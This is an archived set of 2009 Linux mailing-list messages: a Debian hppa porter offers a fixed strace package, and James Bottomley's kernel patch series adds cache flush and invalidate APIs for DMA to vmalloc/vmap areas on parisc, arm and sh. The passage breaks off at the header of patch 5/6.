	PGPSIGNATURE=-5, SARE_MSGID_LONG40=0.637] autolearn=ham
Original-Received: from liszt.debian.org ([127.0.0.1])
	by localhost (lists.debian.org [127.0.0.1]) (amavisd-new, port 2525)
	with ESMTP id ABhgzJTS6GKJ for <lists-debian-hppa@liszt.debian.org>;
	Thu, 17 Sep 2009 15:51:24 +0000 (UTC)
X-policyd-weight: using cached result; rate: -6.9
Original-Received: from mail-fx0-f223.google.com (mail-fx0-f223.google.com [209.85.220.223])
	by liszt.debian.org (Postfix) with ESMTP id 9B31613A656C
	for <debian-hppa@lists.debian.org>; Thu, 17 Sep 2009 15:51:24 +0000 (UTC)
Original-Received: by fxm23 with SMTP id 23so140084fxm.30
        for <debian-hppa@lists.debian.org>; Thu, 17 Sep 2009 08:51:22 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=gamma;
        h=domainkey-signature:mime-version:sender:received:date
         :x-google-sender-auth:message-id:subject:from:to:content-type;
        bh=FC70ct67D5qEJbui/TgjOcL02IttpCIhpRxP5Qy+wcA=;
        b=uH/jRTuoKPQ4hlxpyaH1aZ341Ptlhkb2zcFQgK4rE7sCfKdfdMDie6Albf+VHzCI/6
         i8VWhkI6YRIRxFydpe555UYOIP7iMuPq4/R0E763Tug8cw1/IZYSoEmXokdyxxiU/+Fp
         63kINdhS/oo+E+zWiHB2TtS42/x1XrbQZCql0=
DomainKey-Signature: a=rsa-sha1; c=nofws;
        d=gmail.com; s=gamma;
        h=mime-version:sender:date:x-google-sender-auth:message-id:subject
         :from:to:content-type;
        b=BRSXkcBPkugCoNxXg9HOHNLD/2Fci6pyx1rD9iKYVd0FWsfY5ZMgSi1OZsLgn3b5jl
         w7Zqu4RW33zkADI7ynJWgmk1aXhpCfMhynv3tAJH+sgw5i2HdQ+yqhdZq4TL2PcYd3iQ
         C6ve2aO9lMdM+89E9v09DdzagGGHlg9bkTkJU=
Original-Sender: patofiero@gmail.com
Original-Received: by 10.204.32.201 with SMTP id e9mr519143bkd.122.1253202682229; Thu, 
	17 Sep 2009 08:51:22 -0700 (PDT)
X-Google-Sender-Auth: 922eb8599ab27f38
X-Rc-Virus: 2007-09-13_01
X-Rc-Spam: 2008-11-04_01
Resent-Message-ID: <lycjdElouzC.A.FyB.KslsKB@liszt>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/7050
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Thu, 17 Sep 2009 15:51:38 +0000 (UTC)
Xref: news.gmane.org gmane.linux.debian.ports.hppa:6053 gmane.linux.ports.parisc:2173
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2173>

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1

Currently the debian strace on hppa is completely broken.
http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=546619

As a workaround I'm making available a working debian strace package here:
http://www.parisc-linux.org/~carlos/strace_4.5.18-1_hppa.deb
md5sum: cdcb1c423792fb11a73fd36c26e559a7

Feel free to use this strace package if you need a working strace.

Cheers,
Carlos.
debian-hppa porter.
-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.4.9 (GNU/Linux)

iEYEARECAAYFAkqyWhgACgkQKfjkZWeIll+QpACgnU2ja/ELGjqET2Aa87xIXh+P
VeEAn3cx3kA5pblAZBZOzmaCZ3udu2q4
=gJQB
-----END PGP SIGNATURE-----



From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Kyle McMartin <kyle@mcmartin.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: Working debian package for strace 4.5.18-1
Date: Thu, 17 Sep 2009 15:49:27 -0400
Lines: 26
Approved: news@gmane.org
Message-ID: <20090917194927.GD11961@bombadil.infradead.org>
References: <119aab440909170851w4f6759e5t9eb402da2814e8da@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1253216983 6121 80.91.229.12 (17 Sep 2009 19:49:43 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 19:49:43 +0000 (UTC)
Cc: Debian HPPA Port List <debian-hppa@lists.debian.org>,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Sep 17 21:49:36 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoMyz-0004Le-UE
	for glpp-linux-parisc@lo.gmane.org; Thu, 17 Sep 2009 21:49:34 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750937AbZIQTt3 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Sep 2009 15:49:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1751003AbZIQTt3
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Sep 2009 15:49:29 -0400
Original-Received: from bombadil.infradead.org ([18.85.46.34]:35563 "EHLO
	bombadil.infradead.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1750768AbZIQTt2 (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Sep 2009 15:49:28 -0400
Original-Received: from kyle by bombadil.infradead.org with local (Exim 4.69 #1 (Red Hat Linux))
	id 1MoMyt-0001VT-A8; Thu, 17 Sep 2009 19:49:27 +0000
Content-Disposition: inline
In-Reply-To: <119aab440909170851w4f6759e5t9eb402da2814e8da@mail.gmail.com>
User-Agent: Mutt/1.5.19 (2009-01-05)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2174 gmane.linux.debian.ports.hppa:6054
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2174>

On Thu, Sep 17, 2009 at 11:51:22AM -0400, Carlos O'Donell wrote:
> -----BEGIN PGP SIGNED MESSAGE-----
> Hash: SHA1
> 
> Currently the debian strace on hppa is completely broken.
> http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=546619
> 
> As a workaround I'm making available a working debian strace package here:
> http://www.parisc-linux.org/~carlos/strace_4.5.18-1_hppa.deb
> md5sum: cdcb1c423792fb11a73fd36c26e559a7
> 
> Feel free to use this strace package if you need a working strace.
> 

Thanks for fixing this, Carlos.

> Cheers,
> Carlos.
> debian-hppa porter.

regards, Kyle
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: [PATCH 0/6] fix xfs by making I/O to vmap/vmalloc areas work
Date: Thu, 17 Sep 2009 18:06:55 -0500
Lines: 36
Approved: news@gmane.org
Message-ID: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228849 7995 80.91.229.12 (17 Sep 2009 23:07:29 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:29 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 01:07:21 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4O-0007xs-Ba
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 01:07:20 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751092AbZIQXHP (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:15 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1752403AbZIQXHO
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Sep 2009 19:07:14 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40290 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751038AbZIQXHM (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:12 -0400
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 83C248FEA2;
	Fri, 18 Sep 2009 01:07:15 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2175 gmane.linux.kernel.cross-arch:4424 gmane.linux.file-systems:35430
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2175>

From: James Bottomley <James.Bottomley@HansenPartnership.com>

Here's version three of the patch.  This one makes sure the invalidate
works correctly.  I verified it on parisc by making my system print out
the virtual addresses it was invalidating and matching up with the ones
that were initially flushed, but since invalidate is a nop on parisc, I
can't verify live that the issue is fixed.  I'd really appreciate someone
from arm and sh testing here.

Thanks,

James

---

James Bottomley (6):
  mm: add coherence API for DMA to vmalloc/vmap areas
  parisc: add mm API for DMA to vmalloc/vmap areas
  arm: add mm API for DMA to vmalloc/vmap areas
  sh: add mm API for DMA to vmalloc/vmap areas
  block: permit I/O to vmalloc/vmap kernel pages
  xfs: fix xfs to work with Virtually Indexed architectures

 arch/arm/include/asm/cacheflush.h    |   10 ++++++++++
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 arch/sh/include/asm/cacheflush.h     |    8 ++++++++
 fs/bio.c                             |   20 ++++++++++++++++++--
 fs/xfs/linux-2.6/xfs_buf.c           |   20 ++++++++++++++++++++
 include/linux/highmem.h              |    6 ++++++
 6 files changed, 70 insertions(+), 2 deletions(-)

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: [PATCH 1/6] mm: add coherence API for DMA to vmalloc/vmap areas
Date: Thu, 17 Sep 2009 18:06:56 -0500
Lines: 41
Approved: news@gmane.org
Message-ID: <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228854 8011 80.91.229.12 (17 Sep 2009 23:07:34 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:34 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 01:07:25 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4T-0007z8-0m
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 01:07:25 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753569AbZIQXHU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753203AbZIQXHT
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Sep 2009 19:07:19 -0400
Original-Received: from cantor2.suse.de ([195.135.220.15]:33991 "EHLO mx2.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751038AbZIQXHR (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:17 -0400
Original-Received: from relay2.suse.de (mail2.suse.de [195.135.221.8])
	by mx2.suse.de (Postfix) with ESMTP id 8CC858655F;
	Fri, 18 Sep 2009 01:07:20 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2176 gmane.linux.kernel.cross-arch:4425 gmane.linux.file-systems:35431
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2176>

From: James Bottomley <jejb@external.hp.com>

On Virtually Indexed architectures (which don't do automatic alias
resolution in their caches), we have to flush via the correct
virtual address to prepare pages for DMA.  On some architectures
(like arm) we cannot prevent the CPU from doing data movein along
the alias (and thus giving stale read data), so we not only have to
introduce a flush API to push dirty cache lines out, but also an invalidate
API to kill inconsistent cache lines that may have moved in before
DMA changed the data

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 include/linux/highmem.h |    6 ++++++
 1 files changed, 6 insertions(+), 0 deletions(-)

diff --git a/include/linux/highmem.h b/include/linux/highmem.h
index 211ff44..eb99c70 100644
--- a/include/linux/highmem.h
+++ b/include/linux/highmem.h
@@ -17,6 +17,12 @@ static inline void flush_anon_page(struct vm_area_struct *vma, struct page *page
 static inline void flush_kernel_dcache_page(struct page *page)
 {
 }
+static inline void flush_kernel_dcache_addr(void *vaddr)
+{
+}
+static inline void invalidate_kernel_dcache_addr(void *vaddr)
+{
+}
 #endif
 
 #include <asm/kmap_types.h>
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: [PATCH 2/6] parisc: add mm API for DMA to vmalloc/vmap areas
Date: Thu, 17 Sep 2009 18:06:57 -0500
Lines: 39
Approved: news@gmane.org
Message-ID: <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228862 8033 80.91.229.12 (17 Sep 2009 23:07:42 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:42 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Sep 18 01:07:34 2009
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4b-00082m-FE
	for glpp-linux-parisc@lo.gmane.org; Fri, 18 Sep 2009 01:07:33 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753765AbZIQXHY (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:24 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753681AbZIQXHY
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Thu, 17 Sep 2009 19:07:24 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40299 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1751194AbZIQXHU (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:20 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 14ACE8FEA2;
	Fri, 18 Sep 2009 01:07:24 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:2177 gmane.linux.kernel.cross-arch:4426 gmane.linux.file-systems:35432
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2177>

From: James Bottomley <jejb@external.hp.com>

We already have an API to flush a kernel page along an alias
address, so use it.  The TLB purge prevents the CPU from doing
speculative moveins on the flushed address, so we don't need to
implement and invalidate.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/parisc/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/parisc/include/asm/cacheflush.h b/arch/parisc/include/asm/cacheflush.h
index 7243951..2536a00 100644
--- a/arch/parisc/include/asm/cacheflush.h
+++ b/arch/parisc/include/asm/cacheflush.h
@@ -90,6 +90,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_kernel_dcache_page_addr(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	flush_kernel_dcache_page_addr(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	/* nop .. the flush prevents move in until the page is touched */
+}
 
 #ifdef CONFIG_DEBUG_RODATA
 void mark_rodata_ro(void);
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:56 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.kernel.cross-arch,gmane.linux.file-systems,gmane.linux.ports.parisc
Subject: [PATCH 3/6] arm: add mm API for DMA to vmalloc/vmap areas
Date: Thu, 17 Sep 2009 18:06:58 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1253228821-4700-4-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228865 8042 80.91.229.12 (17 Sep 2009 23:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:45 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <jejb@external.hp.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-arch-owner@vger.kernel.org Fri Sep 18 01:07:36 2009
Return-path: <linux-arch-owner@vger.kernel.org>
Envelope-to: glka-linux-arch@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4e-00082m-AT
	for glka-linux-arch@lo.gmane.org; Fri, 18 Sep 2009 01:07:36 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753562AbZIQXH2 (ORCPT <rfc822;glka-linux-arch@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:28 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753809AbZIQXH2
	(ORCPT <rfc822;linux-arch-outgoing>);
	Thu, 17 Sep 2009 19:07:28 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40305 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753670AbZIQXHY (ORCPT <rfc822;linux-arch@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:24 -0400
Original-Received: from relay1.suse.de (mail2.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id 3BCD593987;
	Fri, 18 Sep 2009 01:07:27 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-arch-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-arch.vger.kernel.org>
X-Mailing-List: linux-arch@vger.kernel.org
Xref: news.gmane.org gmane.linux.kernel.cross-arch:4427 gmane.linux.file-systems:35433 gmane.linux.ports.parisc:2178
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2178>

From: James Bottomley <jejb@external.hp.com>

ARM cannot prevent cache movein, so this patch implements both the
flush and invalidate pieces of the API.

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/arm/include/asm/cacheflush.h |   10 ++++++++++
 1 files changed, 10 insertions(+), 0 deletions(-)

diff --git a/arch/arm/include/asm/cacheflush.h b/arch/arm/include/asm/cacheflush.h
index 1a711ea..1104ee9 100644
--- a/arch/arm/include/asm/cacheflush.h
+++ b/arch/arm/include/asm/cacheflush.h
@@ -436,6 +436,16 @@ static inline void flush_kernel_dcache_page(struct page *page)
 	if ((cache_is_vivt() || cache_is_vipt_aliasing()) && !PageHighMem(page))
 		__cpuc_flush_dcache_page(page_address(page));
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	if ((cache_is_vivt() || cache_is_vipt_aliasing()))
+		__cpuc_flush_dcache_page(addr);
+}
 
 #define flush_dcache_mmap_lock(mapping) \
 	spin_lock_irq(&(mapping)->tree_lock)
-- 
1.6.3.3


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.file-systems,gmane.linux.kernel.cross-arch,gmane.linux.ports.parisc
Subject: [PATCH 4/6] sh: add mm API for DMA to vmalloc/vmap areas
Date: Thu, 17 Sep 2009 18:06:59 -0500
Lines: 34
Approved: news@gmane.org
Message-ID: <1253228821-4700-5-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-2-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-3-git-send-email-James.Bottomley@suse.de>
 <1253228821-4700-4-git-send-email-James.Bottomley@suse.de>
NNTP-Posting-Host: lo.gmane.org
X-Trace: ger.gmane.org 1253228865 8047 80.91.229.12 (17 Sep 2009 23:07:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 17 Sep 2009 23:07:45 +0000 (UTC)
Cc: Russell King <rmk@arm.linux.org.uk>,
	Christoph Hellwig <hch@lst.de>,
	Paul Mundt <lethal@linux-sh.org>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	James Bottomley <James.Bottomley@suse.de>
To: linux-arch@vger.kernel.org, linux-fsdevel@vger.kernel.org,
	linux-parisc@vger.kernel.org
Original-X-From: linux-fsdevel-owner@vger.kernel.org Fri Sep 18 01:07:37 2009
Return-path: <linux-fsdevel-owner@vger.kernel.org>
Envelope-to: lnx-linux-fsdevel@lo.gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1MoQ4e-00082m-T9
	for lnx-linux-fsdevel@lo.gmane.org; Fri, 18 Sep 2009 01:07:37 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753999AbZIQXH3 (ORCPT <rfc822;lnx-linux-fsdevel@m.gmane.org>);
	Thu, 17 Sep 2009 19:07:29 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753962AbZIQXH3
	(ORCPT <rfc822;linux-fsdevel-outgoing>);
	Thu, 17 Sep 2009 19:07:29 -0400
Original-Received: from cantor.suse.de ([195.135.220.2]:40310 "EHLO mx1.suse.de"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753729AbZIQXHZ (ORCPT <rfc822;linux-fsdevel@vger.kernel.org>);
	Thu, 17 Sep 2009 19:07:25 -0400
Original-Received: from relay2.suse.de (relay-ext.suse.de [195.135.221.8])
	(using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits))
	(No client certificate requested)
	by mx1.suse.de (Postfix) with ESMTP id C702793A00;
	Fri, 18 Sep 2009 01:07:28 +0200 (CEST)
X-Mailer: git-send-email 1.6.3.3
In-Reply-To: <1253228821-4700-4-git-send-email-James.Bottomley@suse.de>
Original-Sender: linux-fsdevel-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-fsdevel.vger.kernel.org>
X-Mailing-List: linux-fsdevel@vger.kernel.org
Xref: news.gmane.org gmane.linux.file-systems:35434 gmane.linux.kernel.cross-arch:4428 gmane.linux.ports.parisc:2179
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/2179>

From: James Bottomley <James.Bottomley@HansenPartnership.com>

Signed-off-by: James Bottomley <James.Bottomley@suse.de>
---
 arch/sh/include/asm/cacheflush.h |    8 ++++++++
 1 files changed, 8 insertions(+), 0 deletions(-)

diff --git a/arch/sh/include/asm/cacheflush.h b/arch/sh/include/asm/cacheflush.h
index 4c5462d..3cb8824 100644
--- a/arch/sh/include/asm/cacheflush.h
+++ b/arch/sh/include/asm/cacheflush.h
@@ -48,6 +48,14 @@ static inline void flush_kernel_dcache_page(struct page *page)
 {
 	flush_dcache_page(page);
 }
+static inline void flush_kernel_dcache_addr(void *addr)
+{
+	__flush_wback_region(addr, PAGE_SIZE);
+}
+static inline void invalidate_kernel_dcache_addr(void *addr)
+{
+	__flush_invalidate_region(addr, PAGE_SIZE);
+}
 
 #if defined(CONFIG_CPU_SH4) && !defined(CONFIG_CACHE_OFF)
 extern void copy_to_user_page(struct vm_area_struct *vma,
-- 
1.6.3.3

--
To unsubscribe from this list: send the line "unsubscribe linux-fsdevel" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:04:57 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@suse.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel.cross-arch,gmane.linux.file-systems
Subject: [PATCH 5/6] block: permit I/O to vmalloc/vmap kernel pages
Date: Thu, 17 Sep 2009 18:07:00 -0500
Lines: 67
Approved: news@gmane.org
Message-ID: <1253228821-4700-6-git-send-email-James.Bottomley@suse.de>
References: <1253228821-4700-1-git-send-email-James.Bottomley@suse.de>
